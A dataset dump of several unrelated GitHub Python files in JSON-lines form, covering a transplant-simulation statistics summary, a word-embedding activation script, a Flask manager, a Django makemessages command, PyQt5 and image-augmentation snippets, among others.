deaths\n death_case_data = pd.read_csv(file+\"Output_deaths.csv\")\n death_case_data = death_case_data.iloc[1:,0] \n num_of_waitlist_deaths.append(death_case_data)\n \n #read in waitlist removals\n waitlist_case_data = pd.read_csv(file+\"RawOutput_yremoved.csv\")\n waitlist_case_data = waitlist_case_data.iloc[1:,3:]\n waitlist_removals.append(waitlist_case_data)\n\n #read in total number of post-transplant deaths for base case\n posttx_death_case = pd.read_csv(file + \"Output_post_transplant_deaths.csv\")\n posttx_death_case = posttx_death_case.iloc[:,1]\n num_of_posttx_deaths.append(posttx_death_case)\n\n #read in total number of retransplant deaths for base case\n retx_death_case = pd.read_csv(file + \"Output_post_transplant_deaths_regrafts.csv\")\n retx_death_case = retx_death_case.iloc[:,1]\n num_of_retx_deaths.append(retx_death_case)\n\n #read in total number of rewaitlist deaths for base case\n rewaitlist_death_case = pd.read_csv(file + \"Output_waitlistrelist_deaths.csv\")\n rewaitlist_death_case = rewaitlist_death_case.iloc[:,1]\n num_of_rewaitlist_deaths.append(rewaitlist_death_case)\n\n #read in mean meld for a case\n mean_meld_case_data = pd.read_csv(file+\"Output_meld_disparity_mean.csv\")\n mean_meld_case_data = mean_meld_case_data.iloc[1:,]\n mean_meld_data.append(mean_meld_case_data)\n \n #read in standard deviation of mean meld for a case\n std_mean_meld_case = pd.read_csv(file+\"Output_meld_disparity_std.csv\")\n std_mean_meld_case= std_mean_meld_case.iloc[1:,]\n std_mean_meld_data.append(std_mean_meld_case)\n \n #read in median meld for a case\n median_meld_case_data = pd.read_csv(file+\"Output_meld_median_mean.csv\")\n median_meld_case_data = median_meld_case_data.iloc[1:,]\n median_meld_data.append(median_meld_case_data)\n \n #read in standard deviation of median meld for a case\n std_median_meld_case = pd.read_csv(file+\"Output_meld_median_std.csv\")\n std_median_meld_case = std_median_meld_case.iloc[1:,]\n std_median_meld_data.append(std_median_meld_case)\n\n #read in average vehicle transport distance data\n average_vehicle_transport_distance_case = pd.read_csv(file+\"AvgDistanceVehicle.csv\")\n avg_vehicle_transport_distance_data.append(average_vehicle_transport_distance_case)\n\n #read in average helicopter transport distance data\n average_helicopter_transport_distance_case = pd.read_csv(file+\"AvgDistanceHelicopter.csv\")\n avg_helicopter_transport_distance_data.append(average_helicopter_transport_distance_case)\n\n #read in average airplane transport distance data\n average_airplane_transport_distance_case = pd.read_csv(file+\"AvgDistanceAirplane.csv\")\n avg_airplane_transport_distance_data.append(average_airplane_transport_distance_case)\n\n #read in average vehicle transport time data\n average_vehicle_transport_time_case = pd.read_csv(file+\"AvgTimeVehicle.csv\")\n avg_vehicle_transport_time_data.append(average_vehicle_transport_time_case)\n\n #read in average helicopter transport time data\n average_helicopter_transport_time_case = pd.read_csv(file+\"AvgTimeHelicopter.csv\")\n avg_helicopter_transport_time_data.append(average_helicopter_transport_time_case)\n\n #read in average airplane transport time data\n average_airplane_transport_time_case = pd.read_csv(file+\"AvgTimeAirplane.csv\")\n avg_airplane_transport_time_data.append(average_airplane_transport_time_case)\n\n #read in average percentage of organs transported by car\n average_car_percentage_case = pd.read_csv(file+\"CarPercentage.csv\")\n avg_car_percentage_data.append(average_car_percentage_case)\n\n #read in average percentage of organs transported by helicopter\n average_helicopter_percentage_case = pd.read_csv(file+\"HelicopterPercentage.csv\")\n avg_helicopter_data.append(average_helicopter_percentage_case)\n\n #read in average percentage of organs transported by airplanes\n average_airplane_percentage_case = pd.read_csv(file+\"AirplanePercentage.csv\")\n avg_airplane_data.append(average_airplane_percentage_case)\n\n\n \n#preinitialize a bunch of lists to store mean difference and p-values\ndeath_diff_vector = []\ndeath_pvalue_vector = []\nwaitlist_removal_mean_diff_vector = []\nwaitlist_removal_mean_diff_pvalue_vector = []\nposttx_death_vector = []\nposttx_death_pvalue = []\nretx_death_vector = []\nretx_death_pvalue = []\nrewaitlist_death_vector = []\nrewaitlist_death_pvalue = []\nmeld_mean_diff_vector = []\nmeld_mean_diff_pvalue_vector = []\nstd_meld_mean_diff_vector = []\nstd_meld_mean_diff_pvalue_vector = []\nmeld_median_diff_vector = []\nmeld_median_diff_pvalue_vector = []\nstd_median_meld_diff_vector = []\nstd_median_meld_pvalue_vector = []\navg_vehicle_transport_distance_vector = []\navg_vehicle_transport_distance_pvalue_vector = []\navg_vehicle_transport_time_vector = []\navg_vehicle_transport_time_pvalue_vector = []\navg_helicopter_transport_distance_vector = []\navg_helicopter_transport_distance_pvalue_vector = []\navg_helicopter_transport_time_vector = []\navg_helicopter_transport_time_pvalue_vector = []\navg_airplane_transport_distance_vector = []\navg_airplane_transport_distance_pvalue_vector = []\navg_airplane_transport_time_vector = []\navg_airplane_transport_time_pvalue_vector = []\navg_car_vector = []\navg_car_pvalue_vector = []\navg_helicopter_vector = []\navg_helicopter_pvalue_vector = []\navg_airplane_vector = []\navg_airplane_pvalue_vector = []\n\n#begin computing mean differences\nfor i in range(0,len(files)):\n \n #compute the difference of waitlist death and p-value\n death_result = compute_waitlist_death_diff(death_base_case, num_of_waitlist_deaths[i])\n death_diff_vector.append(death_result[0])\n death_pvalue_vector.append(death_result[1])\n \n #compute the mean difference of waitlist removals and the p-value\n waitlist_removal_result = compute_waitlist_removal_diff(waitlist_removal_base_case, waitlist_removals[i])\n waitlist_removal_mean_diff_vector.append(waitlist_removal_result[0])\n waitlist_removal_mean_diff_pvalue_vector.append(waitlist_removal_result[1])\n\n #compute the mean difference of posttx death and p-value\n posttx_death_result = compute_waitlist_death_diff(posttx_death_base_case, num_of_posttx_deaths[i])\n posttx_death_vector.append(posttx_death_result[0])\n posttx_death_pvalue.append(posttx_death_result[1])\n\n #compute the mean difference of retransplant death and p-value\n retx_death_result = compute_waitlist_death_diff(retx_death_base_case, num_of_retx_deaths[i])\n retx_death_vector.append(retx_death_result[0])\n retx_death_pvalue.append(retx_death_result[1])\n\n #compute the mean difference of rewaitlist deaths and p-value\n rewaitlist_result = compute_waitlist_death_diff(rewaitlist_death_base_case, num_of_rewaitlist_deaths[i])\n rewaitlist_death_vector.append(rewaitlist_result[0])\n rewaitlist_death_pvalue.append(rewaitlist_result[1])\n\n #compute the mean difference of mean meld and the p-value\n meld_mean_diff_result = compute_diff_mean(mean_meld_base_data, mean_meld_data[i])\n meld_mean_diff_vector.append(meld_mean_diff_result[0])\n meld_mean_diff_pvalue_vector.append(meld_mean_diff_result[1])\n \n #compute the std of meld mean difference and p-value\n std_mean_meld_diff_result = compute_diff_mean(std_mean_meld_base_data, std_mean_meld_data[i])\n std_meld_mean_diff_vector.append(std_mean_meld_diff_result[0])\n std_meld_mean_diff_pvalue_vector.append(std_mean_meld_diff_result[1])\n \n #compute the mean difference of meld median and the p value\n meld_median_diff_result = compute_diff_mean(median_meld_base_data, median_meld_data[i])\n meld_median_diff_vector.append(meld_median_diff_result[0])\n meld_median_diff_pvalue_vector.append(meld_median_diff_result[1])\n\n #compute the standard deviation of meld median and the p value\n std_meld_median_diff_result = compute_diff_mean(std_median_meld_base_data, std_median_meld_data[i])\n std_median_meld_diff_vector.append(std_meld_median_diff_result[0])\n std_median_meld_pvalue_vector.append(std_meld_median_diff_result[1])\n\n #compute the mean difference of average vehicle transport distance\n avg_vehicle_transport_distance_result = compute_diff_mean(average_vehicle_transport_distance_base_data, avg_vehicle_transport_distance_data[i])\n avg_vehicle_transport_distance_vector.append(avg_vehicle_transport_distance_result[0])\n avg_vehicle_transport_distance_pvalue_vector.append(avg_vehicle_transport_distance_result[1])\n\n #compute the mean difference of average helicopter transport distance\n avg_helicopter_transport_distance_result = compute_diff_mean(average_helicopter_transport_distance_base_data, avg_helicopter_transport_distance_data[i])\n avg_helicopter_transport_distance_vector.append(avg_helicopter_transport_distance_result[0])\n avg_helicopter_transport_distance_pvalue_vector.append(avg_helicopter_transport_distance_result[1])\n\n #compute the mean difference of average airplane transport distance\n avg_airplane_transport_distance_result = compute_diff_mean(average_airplane_transport_distance_base_data, avg_airplane_transport_distance_data[i])\n avg_airplane_transport_distance_vector.append(avg_airplane_transport_distance_result[0])\n avg_airplane_transport_distance_pvalue_vector.append(avg_airplane_transport_distance_result[1])\n\n #compute the mean difference of average vehicle transport time\n avg_vehicle_transport_time_result = compute_diff_mean(average_vehicle_transport_time_base_data, avg_vehicle_transport_time_data[i])\n avg_vehicle_transport_time_vector.append(avg_vehicle_transport_time_result[0])\n avg_vehicle_transport_time_pvalue_vector.append(avg_vehicle_transport_time_result[1])\n\n #compute the mean difference of average helicopter transport time\n avg_helicopter_transport_time_result = compute_diff_mean(average_helicopter_transport_time_base_data, avg_helicopter_transport_time_data[i])\n avg_helicopter_transport_time_vector.append(avg_helicopter_transport_time_result[0])\n avg_helicopter_transport_time_pvalue_vector.append(avg_helicopter_transport_time_result[1])\n\n #compute the mean difference of average airplane transport time\n avg_airplane_transport_time_result = compute_diff_mean(average_airplane_transport_time_base_data, avg_airplane_transport_time_data[i])\n avg_airplane_transport_time_vector.append(avg_airplane_transport_time_result[0])\n avg_airplane_transport_time_pvalue_vector.append(avg_airplane_transport_time_result[1])\n\n #compute the mean difference of avg percentage of organs transported by car\n avg_car_result = compute_diff_mean(average_car_percentage_base_data, avg_car_percentage_data[i])\n avg_car_vector.append(avg_car_result[0])\n avg_car_pvalue_vector.append(avg_car_result[1])\n\n #compute the mean difference of avg percentage of organs transported by helicopters\n avg_helicopter_result = compute_diff_mean(average_helicopter_percentage_base_data, avg_helicopter_data[i])\n avg_helicopter_vector.append(avg_helicopter_result[0])\n avg_helicopter_pvalue_vector.append(avg_helicopter_result[1])\n\n #compute the mean difference of avg percentage of organs transported by airplanes\n avg_airplane_result = compute_diff_mean(average_airplane_percentage_base_data, avg_airplane_data[i])\n avg_airplane_vector.append(avg_airplane_result[0])\n avg_airplane_pvalue_vector.append(avg_airplane_result[1])\n\n\n#preintialize summary data table\nsummary = []\n\n#create summary table\nsummary.append(death_diff_vector)\nsummary.append(death_pvalue_vector)\nsummary.append(waitlist_removal_mean_diff_vector)\nsummary.append(waitlist_removal_mean_diff_pvalue_vector)\nsummary.append(posttx_death_vector)\nsummary.append(posttx_death_pvalue)\nsummary.append(retx_death_vector)\nsummary.append(retx_death_pvalue)\nsummary.append(rewaitlist_death_vector)\nsummary.append(rewaitlist_death_pvalue)\nsummary.append(meld_mean_diff_vector)\nsummary.append(meld_mean_diff_pvalue_vector)\nsummary.append(std_meld_mean_diff_vector)\nsummary.append(std_meld_mean_diff_pvalue_vector)\nsummary.append(meld_median_diff_vector)\nsummary.append(meld_median_diff_pvalue_vector)\nsummary.append(std_median_meld_diff_vector)\nsummary.append(std_median_meld_pvalue_vector)\nsummary.append(avg_vehicle_transport_distance_vector)\nsummary.append(avg_vehicle_transport_distance_pvalue_vector)\nsummary.append(avg_helicopter_transport_distance_vector)\nsummary.append(avg_helicopter_transport_distance_pvalue_vector)\nsummary.append(avg_airplane_transport_distance_vector)\nsummary.append(avg_airplane_transport_distance_pvalue_vector)\nsummary.append(avg_vehicle_transport_time_vector)\nsummary.append(avg_vehicle_transport_time_pvalue_vector)\nsummary.append(avg_helicopter_transport_time_vector)\nsummary.append(avg_helicopter_transport_time_pvalue_vector)\nsummary.append(avg_airplane_transport_time_vector)\nsummary.append(avg_airplane_transport_time_pvalue_vector)\nsummary.append(avg_car_vector)\nsummary.append(avg_car_pvalue_vector)\nsummary.append(avg_helicopter_vector)\nsummary.append(avg_helicopter_pvalue_vector)\nsummary.append(avg_airplane_vector)\nsummary.append(avg_airplane_pvalue_vector)\n\n#convert to data frame\nsummary = pd.DataFrame(data = summary)\n\n#name the columns\nsummary.columns = cases\n\n#name the rows\nrows = ['Annualized Waitlist Deaths', 'Annualized Waitlist Deaths p-value', 'Annualized Waitlist Removals',\\\n 'Annualized Waitlist Removals p-value', 'Annualized Post-Transplant Deaths', 'Annualized Post-Transplant Deaths p-value',\\\n 'Annualized ReTransplant Deaths', 'Annualized ReTransplant Deaths p-value', \\\n 'Annualized ReWaitlist Deaths', 'Annualized ReWaitlist Deaths p-value','DSA Mean Transplant MELD', \\\n 'DSA Mean Transplant MELD p-value', 'DSA Mean Transplant Standard Deviation',\\\n 'DSA Mean Transplant Standard Deviation p-value', 'DSA Median Transplant MELD',\\\n 'DSA Median Transplant MELD p-value', 'DSA Median Transplant MELD Standard Deviation',\\\n 'DSA Median Transplant MELD Standard Deviation p-value',\\\n 'Average Organ Vehicle Transport Distance', 'Average Organ Vehicle Transport Distance p-value',\\\n 'Average Organ Helicopter Transport Distance', 'Average Organ Helicopter Transport Distance p-value',\\\n 'Average Organ Airplane Transport Distance', 'Average Organ Airplane Transport Distance p-value',\\\n 'Average Organ Vehicle Transport Time', 'Average Organ Vehicle Transport Time p-value',\\\n 'Average Organ Helicopter Transport Time', 'Average Organ Helicopter Transport Time p-value',\\\n 'Average Organ Airplane Transport Time', 'Average Organ Airplane Transport Time p-value',\\\n 'Average Percentage Transported by Ground Vehicle', 'Average Percentage Transported by Ground Vehicle p-value',\\\n 'Average Percentage Transported by Helicopter', 'Average Percentage Transported by Helicopter p-value',\\\n 'Average Percentage Transported by Airplane', 'Average Percentage Transported by Airplane p-value']\nsummary.index = rows\n\nsummary.to_csv(\"C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/summary.csv\")","repo_name":"Guozihaio/Data-Science-Project","sub_path":"LivSim_sample_code/Summary/mean_diff_summarize.py","file_name":"mean_diff_summarize.py","file_ext":"py","file_size_in_byte":37926,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"74659885584","text":"import pandas as pd\nimport numpy as np\n\ndata = pd.read_csv(\"dataset/heart.csv\")\n# print(data.head())\n\nfeature = ['age', 'sex', 'thal']\nX = data[feature]\nY = data['target']\n\nprint(X)\nprint(Y)","repo_name":"bpadhiyar4/Heart-Disease-App","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20183326646","text":"from csv import DictReader\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nfrom mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable\nimport numpy\nimport math\nimport argparse\nimport pickle\n\nre = 3\nri = 5\nwi = 5\nwe = 30\nlr_act = 0.01\nthreshold = 0.01\nleaky = wi + we\ninput_dim = 97\nneuron_shape = (40, 40)\n\ndef parse_argv():\n parser = argparse.ArgumentParser(prog='')\n parser.add_argument(\"--processor\", type = str)\n return parser.parse_args()\n\nargs = parse_argv()\n\ndef get_args_processor():\n return args.processor\n\nif get_args_processor()==\"CPU\":\n import numpy as cp\n from scipy.signal import convolve\n print(\"Using CPU\")\nelse:\n import cupy as cp\n from cusignal.convolution.convolve import convolve\n print(\"Using GPU\")\n\ndef get_kernels(re, ri, wi=5, we=30, sigmaE = 3):\n k_exc = cp.zeros([2*re+1, 2*re+1])\n k_inh = cp.zeros([2*ri+1, 2*ri+1])\n for i in range(2*re+1):\n for j in range(2*re+1):\n # i row, j column\n distsq = (i-re)**2+(j-re)**2\n k_exc[i,j] = cp.exp(- distsq/2/sigmaE) * (distsq <= re**2)\n k_exc = we * k_exc / cp.sum(k_exc)\n for i in range(2*ri+1):\n for j in range(2*ri+1):\n # i row, j column\n distsq = (i-ri)**2+(j-ri)**2\n k_inh[i,j] = (distsq <= ri**2)\n k_inh = wi * k_inh / cp.sum(k_inh)\n return k_exc, k_inh\n\ncnt = 0\nword_embeddings = numpy.load('./' + 'data/googleNgram/embed100.npy')\nword_embeddings = numpy.delete(word_embeddings, [55, 58, 84], axis = 1)\nword_embeddings = cp.asarray(word_embeddings)\nnum_test_vocabs = numpy.asarray(55529)\nSUBSAMPLE_SIZE = numpy.asarray(4096)\n\ndef load_test_batch(words):\n idx = []\n for word in words:\n idx.append(vocabidx[word])\n word_batch = word_embeddings[idx, :]\n return word_batch, idx\n\n#####################################\n# Algorithms to update activations\n#####################################\nexck, inhk = get_kernels(re = re, ri = ri, we = we, wi = wi)\nprint(\"exck = \" +str(exck))\nprint(\"ink = \" +str(inhk))\n\nexck = cp.expand_dims(cp.asarray(exck), axis = 0)\ninhk = cp.expand_dims(cp.asarray(inhk), axis = 0)\nlr_act = cp.asarray(lr_act)\nleaky = cp.asarray(leaky)\nmax_act_fit = cp.asarray(50)\nthreshold = threshold\neps = cp.asarray(5e-3)\n\ndef load_test_batch(words):\n idx = []\n for word in words:\n idx.append(vocabidx[word])\n word_batch = word_embeddings[idx, :]\n return word_batch, idx\n\ndef perceive_to_get_stimulus(word_batch, codebook):\n stimulus = cp.dot(word_batch, codebook).reshape((word_batch.shape[0], neuron_shape[0], neuron_shape[1])) # word_batch = this_X = (256, 97), code_book = (97, 400)\n return stimulus # shape: (256, 400)\n\ndef stimulate(stimulus): # stimulus: (256, 20, 20)\n global exc_act\n global inh_act\n for t in range(int(max_act_fit)):\n exc_act_tm1 = cp.copy(exc_act)\n exc_input = convolve(exc_act, exck, mode=\"same\") # (256, 20, 20)\n inh_input = convolve(inh_act, inhk, mode=\"same\")\n\n exc_act = exc_act + lr_act * (- leaky * exc_act + stimulus + exc_input - inh_input)\n inh_act = inh_act + lr_act * (- leaky * inh_act + exc_input)\n\n # Soft threshold\n exc_act = cp.maximum(exc_act - threshold, 0) - cp.maximum(-exc_act - threshold, 0)\n inh_act = cp.maximum(inh_act - threshold, 0) - cp.maximum(-inh_act - threshold, 0)\n\n da = exc_act - exc_act_tm1\n relative_error = cp.sqrt(cp.square(da).sum()) / (eps + cp.sqrt(cp.square(exc_act_tm1).sum()))\n\n if relative_error < eps:\n return exc_act\n else:\n print(\"error = \" + str(relative_error))\n print(\"exc_act = \"+ str(exc_act))\n print(\"Relative error end with {:.4f} and doesn't converge within the max fit steps\".format(exc_act))\n return exc_act\n\ndef plot_word_activations(words, filename=''):\n i = 0\n global bs\n bs = len(words)\n global exc_act\n global inh_act\n exc_act = cp.zeros(shape=(bs, neuron_shape[0], neuron_shape[1])) # shape should be (bs, neuron_shape)!\n inh_act = cp.zeros(shape=(bs, neuron_shape[0], neuron_shape[1]))\n\n global activity\n word_batch, wp_idx = load_test_batch(words)\n try:\n stimulus = perceive_to_get_stimulus(word_batch, Phi)\n activ = stimulate(stimulus)\n activ = activ.reshape([bs, num_units])\n activity[wp_idx, :] = activ\n except RuntimeError as e:\n print(e)\n\n for word in words:\n try:\n activ = activity[vocabidx[word]]\n print(\"word '{}' = \".format(word) + str(activ))\n except Exception:\n print(\"word: {} not found\".format(word))\n else:\n #activ = cp.delete(activ, [1600], axis = 1) # delete the last dummy index\n fig, ax = plt.subplots(figsize=(5, 5))\n l0norm = numpy.abs(activ).max()\n im = ax.imshow(activ.reshape(neuron_shape[0], neuron_shape[1]),\n cmap='jet', interpolation='gaussian', vmin=-l0norm, vmax=l0norm)\n divider = make_axes_locatable(ax)\n cax = divider.append_axes(\"right\", size=\"5%\", pad=0.2)\n plt.colorbar(im, cax=cax)\n ax.set_title(\"{}\".format(word), fontsize=24)\n ax.set_axis_off()\n if len(filename) > 0:\n plt.savefig(\"./\" + '%s_%d.pdf' % (filename, i))\n i = i + 1\n #plt.show()\n\n\n\nPhi = cp.load(\"./\" + \"codebook.npy\")\n\nemb_dim, num_units = Phi.shape\nprint('num_units:' + str(num_units))\nactivity = cp.zeros(shape=(num_test_vocabs, num_units))\n\nwith open('./' + 'data/googleNgram/4vocabidx.pkl', 'rb') as f:\n vocabidx = pickle.load(f)\n\nvocab = [w for w in vocabidx]\n\nprint('vocabulary size: ' + str(len(vocab)))\n#if __name__ == \"__main__\":\n #plot_word_activations(['apple', 'intel', 'ibm', 'banana'], 'fruit')\n #plot_word_activations(['king', 'queen', 'princess', 'monarch', 'woman'], 'monarchs')\n #words = ['pittsburgh', 'ohio', 'football', 'philadelphia', 'virginia', 'touchdown', 'falcons', 'pennsylvania']\n #plot_word_activations(words, 'pittsburgh')\n\n\nbatch_size = 512\nglobal exc_act\nglobal inh_act\nexc_act = cp.zeros(shape=(batch_size, neuron_shape[0], neuron_shape[1])) # shape should be (bs, neuron_shape)!\ninh_act = cp.zeros(shape=(batch_size, neuron_shape[0], neuron_shape[1]))\n\nprint('Computing activations for random batches of %d words...' % batch_size)\nnum_batches = 1000\n\nfrom tqdm import tqdm\nfor i in tqdm(range(num_batches)):\n inds = cp.random.choice(range(len(vocab)), size=batch_size)\n words = [vocab[int(inds[i])] for i in range(batch_size)]\n word_batch, wp_idx = load_test_batch(words)\n stimulus = perceive_to_get_stimulus(word_batch, Phi)\n\n\n\n","repo_name":"jdlafferty/gcp_nwave","sub_path":"compute_activations.py","file_name":"compute_activations.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22943627170","text":"import json\r\nimport importlib.util\r\nimport os\r\nimport treelib\r\nfrom DiskUsage import customProjectNode, BuildNode, DiskUsage\r\n\r\nclass Loader():\r\n filename = \"\"\r\n tree = treelib.Tree()\r\n text = \"\"\r\n jsoned = \"\"\r\n def __init__(self,filename):\r\n self.filename = filename\r\n\r\n def parseJson(self, filename):\r\n with open(filename) as f:\r\n jsoned = json.load(f)\r\n\r\n return jsoned\r\n\r\n def buildCustomTree(self, jsondata):\r\n return 0\r\n\r\n def addProjectNode(self,jsondata, parent=None):\r\n artSize = jsondata[\"ArtSize\"]\r\n prID = jsondata[\"Project Id\"]\r\n prName = jsondata[\"Project Name\"]\r\n subPr = jsondata[\"SubProjects\"]\r\n dirBuilds = jsondata[\"directBuilds\"]\r\n\r\n subProjectsCount = DiskUsage.getSubProjectsCount(DiskUsage,subPs=subPr)\r\n if self.tree.contains(prID):\r\n return\r\n else:\r\n self.tree.create_node(prName,prID,parent=parent, data=customProjectNode(prID,parent,artSize))\r\n\r\n if (dirBuilds != \"None\"):\r\n for dB in dirBuilds:\r\n dbId = dB[\"Build Id\"]\r\n dbName = dB[\"Build Name\"]\r\n dbAS = dB[\"ArtSize\"]\r\n self.tree.create_node(dbName, dbId, parent=prID,data=customProjectNode(dB, prID, dbAS ))\r\n if subProjectsCount > 0:\r\n roots = subPr\r\n subProjects = []\r\n\r\n if roots != \"None\" :\r\n for root in roots:\r\n\r\n subPrs = jsondata[\"SubProjects\"]\r\n if subPrs:\r\n subProjects += subPrs\r\n subPrsCount = len(subPrs)\r\n else:\r\n subPrsCount = 0\r\n subProjectsCount += subPrsCount\r\n self.tree.save2file(\"tree3.txt\")\r\n print\r\n self.addProjectNode(self, jsondata=root, parent=prID)\r\n subProjectsCount -=1\r\n\r\n #print(\"done\")\r\n return self.tree\r\n\r\n\r\n","repo_name":"Allenhorst/VarScripts","sub_path":"UsageReport/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24702367941","text":"pares = list()\n\nfor c in range(6):\n while True:\n try:\n num = int(input(f'Digite o {c+1}º número: '))\n except Exception:\n print('\\033[1;31mOcorreu um erro!\\033[m')\n except KeyboardInterrupt:\n print('Usuário não quer continuar')\n quit()\n else:\n break\n if num % 2 == 0:\n pares.append(num)\n\nprint(f'Você informou {len(pares)} número(s) par(es) e soma dele(s) é {sum(pares)}')\n","repo_name":"HanatielVargas/Atividades-Python","sub_path":"Curso em Vídeo/Ex 050/contpar.py","file_name":"contpar.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45181582876","text":"#!./venv/bin/python\nfrom flask.ext.script import Manager, Shell, Server, Command\nfrom ESA import app, assets_env, models, fixtures\nfrom ESA import unit_tests_all\nimport unittest\nimport os\nfrom flask_assets import ManageAssets\n\nclass runlocal(Command):\n \"Runs the server in a local, testing configuration\"\n\n def run(self):\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///ESA/test.db'\n app.db = models.init_app(app)\n app.db.drop_all()\n models.create_tables(app)\n fixtures.install(app, *fixtures.all_data)\n app.run()\n app.db.session.remove()\n app.db.drop_all()\n\nclass runtests(Command):\n \"Runs the flask-testing unit tests\"\n\n def run(self):\n unittest.TextTestRunner().run(unit_tests_all.suite())\n\nmanager = Manager(app)\nmanager.add_command(\"runserver\", Server())\nmanager.add_command(\"runlocal\", runlocal())\nmanager.add_command(\"runtests\", runtests())\nmanager.add_command(\"shell\", Shell())\nmanager.add_command(\"assets\", ManageAssets(assets_env))\nmanager.run()\n","repo_name":"umworkma/Comp4350","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7900590421","text":"# 재풀이 +12. int 처리 해야 7,8,9 테케 오류 안남\n'''\n1. 숫자를 이진법으로 변경하기 0을 하나씪 추가하는게 좋음\n2. 짝수는 마지막이 0 으로 무조건으로 끝나고, 그숫자 1 로 바꾸면 정답임\n3. 홀수는\n- 0 이 있는 자리수에서 1로 변경\n- 그 다음수를 0으로 변경하면 제일 작은수가 됨\n\n* 문제에 양의 정수라고 주어졌지만 처음에 int 처리 안하면 정답처리 안됨ㅜ\n'''\n\ndef solution(numbers):\n answer = []\n for i in numbers:\n bnum = list('0' + bin(int(i))[2:])\n idx = ''.join(bnum).rfind('0')\n bnum[idx] = '1'\n\n if i % 2 == 1:\n bnum[idx+1] = '0'\n\n answer.append(int(''.join(bnum), 2))\n return answer\n\nnumbers = [2,7]\nprint(solution(numbers))","repo_name":"GayeonKimm/CT","sub_path":"Programmers/2_level/2개 이하로 다른 비트.py","file_name":"2개 이하로 다른 비트.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35326937195","text":"from django.core.management.commands import makemessages\n\n\nclass Command(makemessages.Command):\n \"\"\"\n Support argument --add-location of GNU gettext utilities.\n\n A feature request has been submitted to Django at the time of writing\n this module (Django 1.11rc1). If a future Django version supports this\n argument, we can then safely remove this module.\n\n Ref: https://groups.google.com/forum/#!topic/django-developers/IkrjfBDA7iE\n \"\"\"\n\n def add_arguments(self, parser):\n super(Command, self).add_arguments(parser)\n parser.add_argument(\n '--add-location',\n action='store',\n default='full',\n type=str,\n choices=['full', 'file', 'never'],\n help='If full, generates the location lines with both file name '\n 'and line number. If file, the line number part is omitted. '\n 'If never, completely suppresses the lines '\n '(same as --no-location).',\n dest='add_location',\n )\n\n def handle(self, *args, **options):\n add_location = options.pop('add_location')\n arg_str = \"--add-location={}\".format(add_location)\n self.msgmerge_options = (\n makemessages.Command.msgmerge_options[:] + [arg_str]\n )\n self.msguniq_options = (\n makemessages.Command.msguniq_options[:] + [arg_str]\n )\n self.msgattrib_options = (\n makemessages.Command.msgattrib_options[:] + [arg_str]\n )\n self.xgettext_options = (\n makemessages.Command.xgettext_options[:] + [arg_str]\n )\n\n super(Command, self).handle(*args, **options)\n","repo_name":"savoirfairelinux/sous-chef","sub_path":"src/sous_chef/management/commands/makemessages.py","file_name":"makemessages.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"48"} +{"seq_id":"12110364954","text":"from PyQt5.QtWidgets import QApplication, QMainWindow, qApp, QAction, QToolBar\nfrom PyQt5.QtGui import QIcon\nimport sys\n\nclass Example(QMainWindow):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.initUI()\n\tdef initUI(self):\n\n\t\t# 返回一个工具栏对象\n\t\ttoolbar = self.addToolBar('Exit')\n\n\t\texitAct = QAction(QIcon('exit.png'), 'Exit', self)\n\t\texitAct.setStatusTip(\"exit program.\")\n\t\texitAct.setShortcut('Ctrl+Q')\n\t\texitAct.triggered.connect(self.close)\n\n\n\t\tself.statusBar()\n\t\ttoolbar.addAction(exitAct)\n\n\t\tself.setGeometry(300, 300, 400, 400)\n\t\tself.setWindowTitle('Tool Bar')\n\t\tself.show()\n\ndef main():\n\tapp = QApplication(sys.argv)\n\tex = Example()\n\tsys.exit(app.exec_())\n\nif __name__ == '__main__':\n\tmain()","repo_name":"relaxcn/learn-pyqt5","sub_path":"menus_and_toolbars/tool_bar.py","file_name":"tool_bar.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20690179135","text":"\nimport torch \nimport numpy as np \n\nclass Cutout(object):\n \"\"\"Randomly mask out one or more patches from an image.\n Args:\n n_holes (int): Number of patches to cut out of each image.\n length (int): The length (in pixels) of each square patch.\n \"\"\"\n def __init__(self, state_dict: np.random.RandomState, n_holes, length):\n self.n_holes = n_holes\n self.length = length\n self.state_dict = state_dict\n\n def __call__(self, img):\n \n z = img.shape[1]\n h = img.shape[2]\n w = img.shape[3]\n\n mask = np.ones((z, h, w), np.float32)\n\n for n in range(self.n_holes):\n z = self.state_dict.randint(z)\n y = self.state_dict.randint(h)\n x = self.state_dict.randint(w)\n\n z1 = np.clip(z - self.length // 2, 0, z)\n z2 = np.clip(z + self.length // 2, 0, z)\n y1 = np.clip(y - self.length // 2, 0, h)\n y2 = np.clip(y + self.length // 2, 0, h)\n x1 = np.clip(x - self.length // 2, 0, w)\n x2 = np.clip(x + self.length // 2, 0, w)\n\n mask[z1: z2, y1: y2, x1: x2] = 0.\n\n # mask = torch.from_numpy(mask)\n # mask = mask.expand_as(img)\n mask = np.expand_dims(mask, axis=0)\n img = img * mask\n\n return 